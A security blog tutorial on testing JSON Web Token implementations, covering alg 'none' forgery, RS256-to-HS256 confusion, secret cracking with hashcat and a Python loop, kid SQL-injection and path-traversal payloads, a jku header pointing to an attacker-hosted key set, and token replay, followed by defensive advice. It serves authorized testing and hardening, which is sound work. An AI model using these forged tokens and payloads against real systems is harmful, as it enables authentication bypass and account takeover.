November 2, 2026
Common JWT Vulnerabilities and How to Test Them (Safely)
Free Link

By Vipul Sonule
8 min read
Hi, I'm Vipul โ the human behind TheHackersLog.
I spend a lot of time exploring cybersecurity, ethical hacking, reconnaissance, web security, AI, and the tools that make security research more practical.
JWTs are one of those things that look deceptively simple. Three base64 blobs separated by dots, and suddenly your app has "stateless auth." But the number of real-world bug bounty reports that boil down to "the server trusted the token too much" is honestly kind of wild. Most JWT bugs aren't cryptographic breakthroughs โ they're implementation shortcuts that nobody double-checked.
This article is for developers who want to understand how their own auth system could fail, and for security researchers who want a structured way to test JWT implementations in authorized environments โ labs, CTFs, or in-scope bug bounty targets.
โ ๏ธ Ethical Testing Note: Only test these techniques against systems you own, CTF/lab environments, or targets where you have explicit written authorization. Never test production auth flows you don't control.
1. What a JWT Actually Is (Quick Refresher)
A JWT (JSON Web Token) has three parts:
header.payload.signatureheader.payload.signatureEach part is base64url-encoded, not encrypted. That distinction matters more than people realize โ anyone who intercepts a JWT can read the payload instantly.
bash
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -decho "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -dWhat this does: base64 -d decodes the header segment. You'll usually see something like:
json
{"alg":"HS256","typ":"JWT"}{"alg":"HS256","typ":"JWT"}That alg field is the first thing a researcher looks at, because it tells the server which algorithm to use to verify the signature โ and that's exactly where a lot of these vulnerabilities live.
2. The "alg: none" Vulnerability
This is the classic one, and it still shows up in poorly maintained systems.
Some JWT libraries historically accepted "alg": "none" as a valid algorithm โ meaning the server would accept a token with no signature at all, as long as the structure looked right.
Lab Example:
bash
# Decode the header
echo '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='
# Decode the payload (edit role/user fields here)
echo '{"user":"admin","role":"admin"}' | base64 | tr -d '='# Decode the header
echo '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='
# Decode the payload (edit role/user fields here)
echo '{"user":"admin","role":"admin"}' | base64 | tr -d '='Combine them with a trailing dot and an empty signature:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.If the server's verification logic doesn't explicitly reject none, this gets accepted as a valid token with a forged payload.
Why this happens: Developers often use generic "decode" functions instead of "verify" functions, or they allow the algorithm to be dynamically read from the token header instead of hardcoding what's expected.
What to check as a researcher: Does the server let the client dictate the algorithm? If yes, that's a design flaw worth flagging regardless of whether none specifically works.
3. Algorithm Confusion (RS256 โ HS256)
This one trips people up because it sounds abstract until you see it in action.
Many apps use RS256 (asymmetric โ public/private key pair) for signing. The server has a private key to sign tokens and a public key to verify them. The public key is, by definition, public โ it might be exposed via a /jwks.json endpoint, embedded in client-side JS, or just guessable.
Here's the issue: if the server's verification code doesn't strictly check which algorithm is being used, an attacker can:
- Grab the server's public key
- Craft a new token with
"alg": "HS256" - Sign that token using the public key as the HMAC secret
If the backend library just says "verify this signature with whatever key I have," and that key happens to be the public RSA key being used as an HMAC secret, the forged token verifies as legitimate.
bash
# Fetch the public key (if exposed)
curl -s https://target-lab.example/.well-known/jwks.json | jq .# Fetch the public key (if exposed)
curl -s https://target-lab.example/.well-known/jwks.json | jq .What jq does here: it pretty-prints the JSON Web Key Set so you can actually read the key material instead of a single long string.
Tools like jwt_tool automate this attack:
bash
python3 jwt_tool.py <token> -X k -pk public_key.pempython3 jwt_tool.py <token> -X k -pk public_key.pemThis tells jwt_tool to attempt the RS256-to-HS256 confusion attack using the provided public key.
๐ jwt_tool:
GitHub โ ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens snake: A toolkit for testing, tweaking and cracking JSON Web Tokens โ ticarpi/jwt_tool
Defensive takeaway: always pin the expected algorithm on the server side. Never derive trust from a field the attacker controls.
4. Weak Signing Secrets (Brute-Forceable HMAC)
If a server uses HS256 with a weak, short, or guessable secret (secret123, changeme, the app name, etc.), you can brute-force it offline.
bash
hashcat -a 0 -m 16500 jwt.txt rockyou.txthashcat -a 0 -m 16500 jwt.txt rockyou.txtBreaking this down:
-a 0โ straight dictionary attack mode-m 16500โ hashcat's module for JWT (HS256) crackingjwt.txtโ the captured tokenrockyou.txtโ common wordlist
If the secret is in the wordlist, hashcat recovers it, and now you can forge arbitrary valid tokens.
You can also do this manually with Python for smaller, targeted wordlists:
python
import jwt
token = "eyJhbGciOiJIUzI1NiIs..."
wordlist = ["secret", "changeme", "mysecretkey", "admin123"]
for word in wordlist:
try:
decoded = jwt.decode(token, word, algorithms=["HS256"])
print(f"[+] Secret found: {word}")
print(decoded)
break
except jwt.InvalidSignatureError:
continueimport jwt
token = "eyJhbGciOiJIUzI1NiIs..."
wordlist = ["secret", "changeme", "mysecretkey", "admin123"]
for word in wordlist:
try:
decoded = jwt.decode(token, word, algorithms=["HS256"])
print(f"[+] Secret found: {word}")
print(decoded)
break
except jwt.InvalidSignatureError:
continueWhat this script does: it tries each candidate secret against the token until one produces a valid signature. This is slow compared to hashcat's GPU-accelerated cracking, but it's useful for quick manual checks during a lab exercise.
๐ PyJWT docs:
Welcome to PyJWT โ PyJWT 2.15.1 documentation is a Python library which allows you to encode and decode JSON Web Tokens (JWT). JWT is an open, industry-standard (โฆ
5. kid (Key ID) Header Injection
The kid field tells the server which key to use for verification โ useful when multiple keys are in rotation. The problem is when the server trusts the kid value without sanitizing it.
Two common abuse paths:
SQL Injection via kid:
json
{"alg":"HS256","kid":"1' UNION SELECT 'attacker_secret'-- -"}{"alg":"HS256","kid":"1' UNION SELECT 'attacker_secret'-- -"}If the server builds a SQL query using the kid value to fetch the key, this can inject a secret the attacker already knows.
Path traversal via kid:
json
{"alg":"HS256","kid":"../../../../dev/null"}{"alg":"HS256","kid":"../../../../dev/null"}Some implementations read the key from a file path derived from kid. If /dev/null resolves and an empty string is treated as a valid HMAC secret, you can forge a token with an empty secret.
What a researcher should look for: does changing kid cause different error messages, delays, or behavior? That's a signal the value is being used somewhere sensitive (database lookup, file path, cache key) without validation.
6. jku / x5u Header Injection
jku points to a URL hosting a JSON Web Key Set; x5u points to a URL hosting an X.509 certificate chain. If the server fetches the key from whatever URL is in the token header โ without restricting it to trusted domains โ an attacker can:
- Host their own JWKS on a server they control
- Sign a forged token with their own private key
- Set
jkuto point at their hosted key - The server fetches and trusts the attacker's key, verifying the forged signature as valid
Lab Example:
bash
# Host a fake JWKS
python3 -m http.server 8000# Host a fake JWKS
python3 -m http.server 8000Then craft a header like:
json
{"alg":"RS256","typ":"JWT","jku":"http://attacker-lab.local:8000/jwks.json"}{"alg":"RS256","typ":"JWT","jku":"http://attacker-lab.local:8000/jwks.json"}What a defender should enforce: a strict allowlist of trusted jku/x5u domains, and ideally avoid trusting externally-supplied key URLs at all.
7. Missing Expiration / Replay Issues
A lot of JWT implementations forget to actually check exp (expiration) server-side, relying only on the client to "expire" naturally. This means a captured token (via XSS, logs, proxy history, etc.) can be replayed indefinitely.
bash
curl -s -I https://target-lab.example/api/account \
-H "Authorization: Bearer <captured_token>"curl -s -I https://target-lab.example/api/account \
-H "Authorization: Bearer <captured_token>"What to check: does the request still succeed hours or days after the token should have expired? Is there any server-side revocation mechanism, or is the token valid purely based on its own claims until the signature check?
Why this matters: stateless auth is convenient, but it also means there's often no central place to revoke a compromised token before its natural expiry.
8. Sensitive Data Stored in the Payload
Because JWTs are only encoded, not encrypted, I still see payloads with things like:
json
{
"user_id": 1092,
"email": "user@example.com",
"role": "admin",
"internal_notes": "flagged for review",
"password_hash": "..."
}{
"user_id": 1092,
"email": "user@example.com",
"role": "admin",
"internal_notes": "flagged for review",
"password_hash": "..."
}That last one happens more than you'd think โ someone serializes an entire user object into the token without thinking about what "encoded" versus "encrypted" actually means.
bash
echo "<payload_segment>" | base64 -d | jq .echo "<payload_segment>" | base64 -d | jq .This instantly reveals anything stuffed into the token. If you find PII, internal flags, or hashes in there, that's worth reporting even without a signature bypass.
๐ง Questions I Ask When Testing JWT Implementations
- Can I change
algtononeand have it accepted? - Can I flip RS256 to HS256 using the public key as the secret?
- Is the signing secret weak enough to brute-force offline?
- Does
kidget used in a query, file path, or cache key without sanitization? - Does the server fetch
jku/x5ufrom an arbitrary URL? - Is
expactually enforced server-side, or just assumed? - What's sitting in the payload that shouldn't be readable by anyone with the token?
- Is there a revocation/blacklist mechanism for logout or password changes?
Tools generate leads. Deciding which of these actually matters for the target's business logic is still a human job.
โ ๏ธ Common Mistakes
- Testing
alg: noneand stopping there. Most modern libraries block it by default โ don't assume the whole app is secure just because this one check passes. - Assuming RS256 is automatically safe. It's only safe if the server strictly enforces which algorithm it expects.
- Treating a readable payload as "not a vulnerability." Sensitive data exposure is still a valid, reportable finding even without signature forgery.
- Ignoring expiration testing. It's easy to skip because it's "boring," but replay windows are a real issue.
- Not checking
kidbehavior. This one gets missed constantly because it doesn't look like an obvious attack surface at first glance. - Forgetting to check revocation. A token being "technically valid" post-logout or post-password-change is a legitimate finding.
๐ก๏ธ Defensive Perspective
If you're building or maintaining a system that uses JWTs:
- Hardcode the expected algorithm server-side. Never trust the
algfield from the token itself. - Use strong, high-entropy secrets for HMAC (32+ random bytes, not a dictionary word).
- Validate
kidagainst a known, fixed set of key identifiers โ never use it directly in a query or file path. - Restrict
jku/x5uto an explicit allowlist of trusted hosts, or avoid supporting them entirely. - Always enforce
expserver-side, and consider short-lived access tokens with refresh token rotation. - Avoid putting sensitive data in the payload โ treat it as readable by anyone who holds the token.
- Maintain a revocation strategy for logout, password resets, or compromised sessions (a short-lived token plus a server-side session check, for example).
๐ ๏ธ Tools Worth Exploring
jwt_tool โ A dedicated JWT testing toolkit that automates algorithm confusion, none attacks, kid injection testing, and more.
๐ https://github.com/ticarpi/jwt_tool
Burp Suite (JWT Editor extension) โ Lets you intercept, decode, and re-sign JWTs directly inside Burp's proxy history, which is extremely useful for manual testing during a live assessment. ๐ https://portswigger.net/burp
hashcat โ GPU-accelerated password/secret cracking, including a dedicated module for JWT HMAC secrets. ๐ https://hashcat.net/hashcat/
jq โ Command-line JSON processor, useful for quickly reading decoded JWT payloads and JWKS responses. ๐ https://jqlang.github.io/jq/
PyJWT โ Python library for encoding/decoding JWTs, useful for scripting custom test cases. ๐ https://pyjwt.readthedocs.io/
OWASP JWT Cheat Sheet โ A solid reference for secure implementation patterns and known pitfalls. ๐ https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
If you're building a structured recon and testing workflow around authentication mechanisms like this, I put together a more complete reference in my Advanced Bug Bounty Recon Mastery resource โ it covers methodology beyond just JWTs. ๐ https://thehackerslog.gumroad.com/l/advancedbugbountyreconmastery
And if you want a compact, no-fluff reference of commands you can pull up mid-assessment instead of digging through old notes, I keep one in my Hacker's Recon Cheat Sheet (150+ Commands). ๐ https://thehackerslog.gumroad.com/l/reconcheetsheet
๐ Keep Exploring With TheHackersLog
TheHackersLog covers practical, hands-on content around cybersecurity, ethical hacking, bug bounty methodology, reconnaissance, web security, network security, AI security, OSINT, and programming.
๐ Substack: https://thehackerslog.substack.com/ โ๏ธ Medium: https://medium.com/@vipulsonule71 ๐ผ LinkedIn: https://www.linkedin.com/company/thehackerslog/ ๐ฆ X: https://x.com/VipulSonule ๐ Gumroad: https://thehackerslog.gumroad.com/
๐ฃ Final Thoughts
JWT vulnerabilities aren't usually about breaking cryptography โ they're about servers trusting fields they shouldn't, and researchers knowing exactly which fields to poke at.
If this guide helped you understand JWT testing a bit better, follow TheHackersLog for more practical cybersecurity, ethical hacking, AI, and technology content.
And if you've run into a JWT implementation quirk I didn't cover here, drop it in the comments โ I'm always interested in seeing how other researchers approach the same problem. ๐